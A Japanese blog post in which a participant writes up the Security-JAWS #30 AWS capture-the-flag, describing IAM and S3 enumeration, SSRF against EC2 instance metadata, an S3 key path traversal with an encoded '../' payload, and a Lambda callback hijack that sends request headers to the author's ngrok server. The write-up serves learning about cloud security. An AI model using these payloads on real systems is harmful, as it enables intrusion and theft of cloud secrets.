Security-JAWS #30 CTF に参加しました

イベントについて

s-jaws.doorkeeper.jp

Security-JAWSは、AWS+Securityをコンセプトに立ち上げられた勉強会で、3ヶ月に1回のペースで定期的にイベントが開催されています。 今回は節目の30回目ということで8/26-27の2日間開催となっており、Day1はカンファレンスデイ、Day2はCTFデイという形で行われました。

自分は1日目はリモート、2日目はオフラインで参加しました。

競技形式

競技時間は5時間で、与えられた問題をひたすら解いて一番多くポイントを稼いだ人が勝ちというシンプルなルールです。

普段のCTFだとPwnやCryptoといったように必要な知識や技術ごとにカテゴリ分けされているらしいですが、今回はAWS向けのCTFということで難易度ごとに問題が分かれていました。

  • Trivia: 10pt * 13問
  • Warmup: 50pt * 6問
  • Easy: 100pt * 4問
  • Medium: 200pt * 5問
  • Hard: 300pt * 2問

Triviaのみクイズ形式で問題の解答を入力する形式、他は与えられたAWSのクレデンシャルやログイン情報、Webページなどを起点に隠されたフラグ SJWAS{****} を見つけるものとなっていました。

結果

Trivia 13問、Warmup 6問、Easy 3問、Medium 1問の計930ptで全体では9位でした。

1000pt行きたかったなぁと思いつつ、表彰対象のトップ3の方は1380pt以上だったので次元が違いました。。。

解いた問題

基本に忠実に、とりあえず簡単な方から埋めていくことにしました。

()は競技時間内のどの時間帯で解いたかを表しています。

Trivia

(0:00〜0:10)

調べたら答えが出てくるようにはなっていましたが、調べ方を工夫しないと答えに辿り着けないものも多くて面白かったです。

  1. Security-JAWS#01の開催年月日はいつでしょうか?

例えば1問目のこの問題だと、単に「Security-JAWS #01 開催日」と調べるだけでは全然該当のものがヒットせず苦戦しました。最終的には今回のイベントにも使われていたDoorKeeperのページでSecurity-JAWSのホームに行き、過去のイベント履歴の一番はじめに行くことで答えを見つけることができました。

s-jaws.doorkeeper.jp

こんな感じでひたすら埋めていき、パッと調べてわからなかった2問を飛ばしてWarmupに移りました。(残りの2問は後で気分転換ついでに埋めました)

Warmup

入門編という位置付けでしたが、普通に苦戦しました笑

AWS CLI practice

(0:10〜0:12)

このAWSユーザー(シークレットキー+アクセスキー)が所属するAWSアカウントIDは何?

与えられたAWSクレデンシャルが紐づくAWSアカウントIDを特定する問題。

自身のIAMエンティティを取得する get-caller-identity というAWS CLIのコマンドがあるのは知っていたので、試してみると目的のアカウントIDが取得できて無事クリア。

$ aws sts get-caller-identity 

{
    "UserId": "AI****",
    "Account": "******",
    "Arn": "arn:aws:iam::******:user/ctf_challenge_0"
}

Show IAM policy

(0:12〜0:20)

このユーザーにアタッチされているポリシーを確認してみよう!Policyドキュメントを注意深くみたらFLAGが隠れているかも。

他にもいくつか問題はありましたがパッとわからずこの問題へ。

AWS CLI practiceと同様AWSクレデンシャルが与えられているのでとりあえずget-caller-identityしてみるもそれ以上の情報はわからず。

問題文にポリシーを調べてみようと書かれているので、IAMユーザーに付与されたポリシーをチェックしてみます。AWSではユーザーへのポリシー付与として

  • ユーザーに紐づく管理ポリシー (list-attached-user-policies)
  • ユーザーのインラインポリシー (list-user-policies, get-user-policy)
  • ユーザーの属するグループに紐づく管理ポリシー (list-attached-group-policies)
  • ユーザーの属するグループのインラインポリシー (list-group-policies, get-group-policy)

の4パターンがあるので、これらのコマンドとlist-groups-for-user, get-policyとかのコマンドを組み合わせながら付与されたポリシーを探していきます。

(参考) smallit.co.jp

{
    "Version": "2012-10-17",
    "Statement": {
        "Sid": "U0pBV1N7RG9feW91LWZpbmRfdGhlX0B0dGFjaGVkX3AwbDFjeT99",
        "Effect": "Allow",
        "Action": [
            "iam:Get*",
            "iam:List*"
        ],
        "Resource": [
            "arn:aws:iam::******:group/ctf5",
            "arn:aws:iam::******:user/ctf_challenge_5"
        ]
    }
}

最終的にこんな感じのポリシーを見つけることができました。SidがなんとなくBase64文字列っぽい(エスパー)のでBase64デコードしてみると SJAWS{Do_you-find_the_@ttached_p0l1cy?} という文字列が出てきてフラグ発見!

フラグ文字列が出てきた時の脳汁が気持ち良すぎます。

Where is the password?

(0:20〜0:22)

AWSのとあるサービスからパスワードを取得してください!ヒント:AWSで安全にパスワード管理をしたい時に利用するサービスと言えば?

AWSコンソールへのログイン情報が与えられます。

問題文からKMSを見に行けば良さそうなので、素直に見に行ってみるとシークレットが存在して中身をみるとフラグが。これはサクッと解けました。

Find data 1

(0:22〜0:50)

FLAGはバケツに突っ込んであるので探してね!

上と同様コンソールへのログイン情報が与えられます。

S3のバケットに入っていそうなのでS3のページを見に行くものの、全てのバケットでinsufficient permissionと表示されていてどうすればいいかわからず詰まりました。色々悩んだ末に一つ一つのバケットをクリックしてみると himitsuno-bucket1 だけオブジェクトが表示されてその中に普通にフラグが。バケットの権限はないけどオブジェクトACLでオブジェクトへのアクセスは許可されているみたいな感じなんですかね。(S3の権限回り難しすぎる...)

Find data 2

(0:50〜0:55)

FLAGはバケツに突っ込んであるので探してね!

Find data 1 と全く同じ問題文ですが、今度はコンソールのログイン情報ではなくクレデンシャルが与えられます。

ポリシーまわりは権限不足で見えなかったため、S3コマンドを叩いてみるとバケット一覧が取得できました。どれかのバケットには権限がついているだろうと読んで全てのバケットに対して aws s3 sync を実行。すると himitsuno-bucket2 に対してオブジェクトが取得できました。(ここはFind data 1からの類推でバケット特定できた部分)

ダウンロードされたオブジェクトは1000枚の画像で、パッとみる限り次のような画像しかありません。

ということは1枚だけ当たりの画像があるだろうと読んで、ファイルサイズが違うやつを探しにいきます。

シェル芸力が足りなかったため目grepを実行して次の画像を発見。めでたしめでたし。

Run Function

(1:25〜1:35)

アクセスキーを調べてFLAGを入手せよ!

Warmupの中で一番苦戦した問題です。Easyの問題をいくつか解いた後に戻ってきて解きました。

問題文的にLambdaかな?と思いつつ、関数がわからないので手詰まり。冷静になってShow IAM policyと同様にユーザーの権限を調べてみると、 run_me というLambda関数に対するInvoke権限がついていることがわかりました。

aws lambda invokeで実行してみると、 "Look at the log!" というレスポンスが返ってきます。ログの取得方法を調べて実行してみると無事ログにフラグが出てきてクリアすることができました。

qiita.com

Easy

Easyになるとどれもぱっと見で何をすればいいのかわからず、歯応えのある問題が揃っていました。競技時間の大半はここに費やしました。

Find data 3

(0:55〜1:10)

FLAGはバケツに突っ込んであるので探してね!

Find dataの待望の続編です。

過去2つの類推からさすがに今回は himitsuno-bucket3 だろうと踏んで中身を見に行くと、次のような文字列が。

It was pointed out that placing sensitive data on S3 is not recommended, so I removed it.`

パッとバージョニング関連かな?とエスパーすることができたので list-object-versionsget-object --version-id $VERSION を使って消される前のバージョンのオブジェクトを取得することでフラグを入手することができました。

Get Provision

(1:10〜1:25)

EC2 上で動く Web アプリケーションからインスタンスのプロビジョニングのデータを入手せよ! http://gpweb.scjdaysctf2023.net/

問題文のサイトにアクセスしてみるとこんな感じになっていました。

かろうじてCapitalOneの事例は知っていたので、「URL入力 → SSRF → EC2インスタンスメタデータ」という連想でEC2インスタンスメタデータの奪取を試みます。

piyolog.hatenadiary.jp

試しに https://169.254.169.254/latest/instance-id を入れてみるとOutputのところにレスポンスっぽいものが表示されています。あとはこの辺 を見ながら片っ端からメタデータを表示してみます。

インスタンスメタデータとして危ないものといえばIAMまわりということで最初はその辺りを重点的に見ていたのですが、見つからず最終的に user-data を見に行くことでフラグを見つけることができました。 user-dataインスタンスの起動時に実行されるスクリプトで、このようにメタデータサーバーから取得できてしまうので機密情報を入れる場合は注意する必要があります。

u nix Path?

(1:35〜3:40)

ここまできてどの問題も手詰まりになってしまい、2時間以上点数が上がらない闇の時間帯に突入してしまいました。

そんな中で何とか突破口を見つけることができたのがこの問題です。

あなたは、PathとObject Keyの区別がつきますか? private/flagに格納されている情報を取得してください。

以上のような問題文とともに、添付されているURLを開いてみると次のような画面でいくつかファイルがダウンロードできるようになっています。

README.mdをダウンロードしてみると、「AWS S3のPrefix / KeyとUnixのパスは微妙に仕様が違うよ」といったことが書かれています。どうやらS3では ../ のような文字列をパスに含めることでディレクトリトラバーサル的な攻撃ができてしまうようです。DOCS.mdにはREADMEの内容を補足する参考資料のURLがいくつか記載されています。

そして最後に、index.tsをダウンロードしてみると以下のようなコードが。

const response = (statusCode: number, body: string): APIGatewayProxyResult => {
  return {
    statusCode,
    headers: RESPONSE_HEADERS,
    body,
  };
};

export const handler = async (
  event: APIGatewayProxyEvent,
): Promise<APIGatewayProxyResult> => {
  const { fileId } = event.pathParameters as { fileId: string };

  const decodetFileId = decodeURIComponent(fileId);
  const key = path.normalize(`public/${decodetFileId}`);

  const command = new GetObjectCommand({
    Bucket: process.env.BUCKET_NAME as string,
    Key: key,
  });

  const url = await getSignedUrl(s3, command, { expiresIn: 60 });

  return response(200, JSON.stringify({ url }));
};

先ほどの資料や問題文を合わせると、どうやらこのAPIfileId にいい感じの文字列を入れて key=private/flag にすることができれば、フラグを入手することができそうだとわかります。実際に手元で同じようなコードを動かして試してみると、 ../private/flag をURLエンコードした %2e%2e%2fprivate%2fflag という文字列をfileIdに設定すると、keyが private/flag になってくれることがわかりました。

ではこのAPIはどこで動いているのでしょうか?ここがわからなくて時間を溶かしてしまいましたが、与えられたWebサイトを開発者ツールで開いてネットワークを監視してみると、どうやら先ほどからダウンロードしていたファイル自体が上のAPIを叩くことで取得されていることがわかりました。試しにネットワークに登場したエンドポイントを curl 'https://***.execute-api.ap-northeast-1.amazonaws.com/v1/api/file/README.md' --compressed のようにcurlから叩いてみると、S3の署名つきダウンロードURLっぽいものが返ってきます。

{"url":"https://s3misssignurl-***-bucket.s3.ap-northeast-1.amazonaws.com/public/README.md?X-Amz-Algorithm=AWS4-HMAC-SHA256..."}

ここまで来ればゴールも目前です。これまでの考察を組み合わせて curl 'https://***.execute-api.ap-northeast-1.amazonaws.com/v1/api/file/%2e%2e%2fprivate%2fflag' --compressed を実行すると、目的のキーのオブジェクトの署名URLを取得することができ、ダウンロードすることでフラグを入手することができました。

各所に散らばるヒントを1つ1つ組み合わせながら答えに辿り着く感じがパズルみたいでとても楽しい問題でした。ダウンロードされるファイル自体がそのシステムの説明になっているという自己言及的な要素もお気に入りです。

Recon the website

こちらは最後まで解けませんでしたが、あと一歩のところまで行っていたので考えたことを書きます。

Webサイトを調査してFLAGを入手せよ! http://website.scjdaysctf2023.net/

Webサイトを調査して、と書いてあるのでWebサイトを見てみると、こんな感じの何の変哲もないサイトが表示されています。

サイトのソースコードを調べて何か特定の動作をするとバグを起こせる、とかかなと思ってコードを読んでいましたがそういうわけでもなさそうです。 ReconとのことなのでWhoisとかで調べるとAWS所有のドメインとなっており、AWSの何かしらのサービスでホストされてそうなことがわかります。ソースコードも読んでみると <!-- This website uses some AWS services. --> と書いてありました。

静的WebサイトのホストならS3だろうということで、 http://website.scjdaysctf2023.net/hogehoge という感じで後ろに適当な文字列をつけてアクセスしてみるとS3っぽいXMLで403と言われ、ほぼS3で確定しました。どうやらS3のバケットが意図せず公開されているのでその中のオブジェクトを見に行けば良いということがわかりました。 (この辺はnslookupを使えば簡単にわかったみたいです)

あとは http://s3-ap-northeast-1.amazonaws.com/website.scjdaysctf2023.net を見に行けばXMLバケット内のファイルの一覧を取得できたのですが、「S3バケットをホストする際にバケット名をドメイン名と一致させる必要がある」という仕様を知らず、バケット名を特定するところで途方に暮れてしまいました。こちらの記事 とかを読んで s3recon というパブリックのS3をクローリングしてくるツールをバックグラウンドで競技中ずっと動かしていたのですが、結局見つからないまま競技時間が終わってしまいました。。。無念。

Medium

どれも初心者にはかなり難度の高い問題でしたが、かろうじて1問だけ正答することができました!

Lam Attack

(3:40〜4:40)

皆さんは、社内のログ通知を行う際にLambdaなどを使ったことがあると思います。 ある日、そのようなシステムを管理する社内のGitリポジトリで開発者用のIAMの認証情報が転がっていたのを見かけたあなたは、上長の許可をとって、そのIAMが漏洩してしまった際の脅威を認識してもらうために、侵入テストを行うことになりました。 皆さんの奪取目標はコミュニケーションツールへAlertを通知するためのLambdaに設定されたSecretです。この情報を奪取して、社内に危険度を知らしめてください。 あらかじめ取得している情報:Log集約Endpoint(社内向けサービス)、リクエストの方式、Lambda 関数の名前、認証情報

$ curl https://***.lambda-url.ap-northeast-1.on.aws/ \
  -XPOST \
  -d '{"errorCode":10,"errorMessage": "NG"}' \
  -H "Content-Type: application/json"

開発者向けの認証情報がCI/CDやレポジトリ経由で流出したという想定で攻撃を試みる、という設定の問題です。 他の問題に比べて一番与えられている情報が多く、とっつきやすそうだったのでこの問題を選んでチャレンジしました。

LambdaのGetFunctionが権限として与えられているということで、GetFunctionを使うとLambdaのソースコード(の署名つきURL)を取得できるということは知っていたので、そこから着手しました。

コードのzipをダウンロードして展開すると、 index.js とともに index.js.map というファイルが入っています。中を覗いてみると、index.jsコンパイル前のtypescriptと思しきコード片と、環境情報を表すJSONが入っていました。

export const handler = async (
  event: APIGatewayProxyEventV2
): Promise<APIGatewayProxyResultV2> => {
  if (!event.body) {
    return {
      headers: { "Content-Type": "application/json" },
      statusCode: 400,
      body: JSON.stringify({ message: "Bad Request" }),
    };
  }
  const { errorCode, errorMessage, callbackPath } = JSON.parse(
    event.body || '{ "errorCode": 0,"errorMessage": "Ok", "callbackPath": ""}'
  );

  if (errorCode !== 0) {
    const input: InvokeCommandInput = {
      FunctionName: LamAttackApplicationStack.SendAlertFunctionName,
      InvocationType: "Event",
      Payload: JSON.stringify({
        errorCode: errorCode,
        errorMessage: errorMessage,
        callbackPath: callbackPath || "/",
      }),
    };
    await client.send(new InvokeCommand(input));

    return {
      headers: { "Content-Type": "application/json" },
      statusCode: 200,
      body: JSON.stringify({ message: "received error" }),
    };
  }

  return {
    headers: { "Content-Type": "application/json" },
    statusCode: 200,
    body: JSON.stringify({ message: "OK" }),
  };
};
{
  "LamAttackApplicationStack": {
    "SendAlertFunctionName": "LamAttackApplicationStack-LamAttackSendAlertFuncti-kycxPROq6nty",
    "SendAlertFunctionARN": "arn:aws:lambda:ap-northeast-1:******:function:LamAttackApplicationStack-LamAttackSendAlertFuncti-kycxPROq6nty",
    "InnerLogicFunctionName": "LamAttackApplicationStack-LamAttackInnerLogicFunct-0bi7xD4DiPXY",
    "InnerLogicFunctionARN": "arn:aws:lambda:ap-northeast-1:******:function:LamAttackApplicationStack-LamAttackInnerLogicFunct-0bi7xD4DiPXY",
    "AlertSNS": "arn:aws:sns:ap-northeast-1:******:LamAttackAlertTopic"
  }
}

コードを見ると、中で SendAlertFunctionName のFunctionを叩いているラッパーっぽい挙動をしていることがわかります。 SendAlertFunctionName にあたるARNは環境情報からわかっているので、同様にしてこちらのコードを取得してみます。

export const handler = async (event: {
  errorCode: Number;
  errorMessage: String;
  callbackPath: String;
}) => {
  console.log("event", event);
  if (event.errorCode === 0) return;
  const { errorCode, errorMessage, callbackPath } = event;
  const messageTemplate = `Alertが発生しました。エラーコードは${errorCode}、エラーメッセージは"${errorMessage}"です。担当者のみなさんはご対応お願いします。`;
  const input: PublishInput = {
    TopicArn: LamAttackApplicationStack.AlertSNS,
    Message: JSON.stringify({
      message: messageTemplate,
      callback: `https://******.lambda-url.ap-northeast-1.on.aws${callbackPath}`,
    }),
  };
  await client.send(new PublishCommand(input));
  console.log("send alert");
  return;
};

パッと見通知を行っているだけの単純な処理ですが、 https://******.lambda-url.ap-northeast-1.on.aws${callbackPath} がかなり気になります。SNSの仕様は詳しくありませんでしたが名前から処理完了後にcallbackのURLが呼ばれそうなので、ここをいい感じにいじれば攻撃者サーバーに通信を持ってくることができそうだと考えました。

はじめは https://******.lambda-url.ap-northeast-1.on.awshogehoge.mydomain.dev みたいな感じでトップドメインを書き換えて自分のドメインに引っ張ってくるという方法しか思いつかず、残り1時間くらいしかない中で適当な無料ドメインを取得してサーバー立ててドメイン設定して...みたいなことをしようとしていました。

残り30分くらいでこの方法は時間内には不可能だと思い直し、他の方法がないかを探し始めました。SSRFの文脈でドメインを上書きできる手法があった気がしたので調べていると、 @ を入れることで前半部分がユーザー名扱いになって任意のホスト名に差し替えられることがわかりました。

github.com

そこで手元に適当なローカルサーバーを立ててngrokで公開し、callbackPathに @xxxx.ngrok-free.app を設定することで手元のサーバーに通信を持ってくることを考えました。実際に競技中に立てたGoのサーバーのコードがこちらです。

package main

import (
    "encoding/json"
    "fmt"
    "log"
    "net/http"
)

func helloHandler(w http.ResponseWriter, r *http.Request) {
    b, _ := json.Marshal(r.Header)
    println(string(b))
}

func main() {
    http.HandleFunc("/", helloHandler)
    fmt.Println("Server Start Up........")
    log.Fatal(http.ListenAndServe("localhost:8080", nil))
}

あとは問題文に与えられたLambda関数の実行方法に従い、callbackPathに先ほどの文字列を設定することでリクエストをローカルサーバーに転送することができ、そのヘッダー内にフラグが隠されていました。

$ curl https://***.lambda-url.ap-northeast-1.on.aws/ \
  -XPOST \
  -d '{"errorCode":10,"errorMessage": "NG", "callbackPath": "@xxxx.ngrok-free.app" }' \
  -H "Content-Type: application/json"

実際に自分でサーバーを立てて攻撃対象の通信を持ってくるというところが本当に攻撃者になったような気持ちになれたのがハラハラでめちゃくちゃ楽しかったです!残り時間も切羽詰まった中で最後の最後にコンソールにフラグの文字列が現れた時の快感は今でも忘れられません。。。

感想

めちゃくちゃ楽しかった!!!の一言に尽きます!CTFは興味はありつつも要求される知識の幅が広くてハードルを感じていましたが、今回は普段業務で触っているAWSにまつわる問題だったので気軽にチャレンジすることができ、CTFの楽しさに触れることができました。

改めて楽しいイベントをありがとうございました!次のチャンスがあれば必ずリベンジしたいと思います。

Writeup

今回は自分が解けた問題しか紹介できませんでしたが、他の問題の解説をwriterや参加者の方が書いているのでぜひご覧ください! またflawsというAWSのCTFが体験できるサイトもあるそうなので、興味のある方はぜひチャレンジしてみてください!

www.slideshare.net

Writer

morioka12さん

とある診断員さん

参加者

べこみんさん

rikotekiさん

hamayanhamayanさん

ハマショー2さん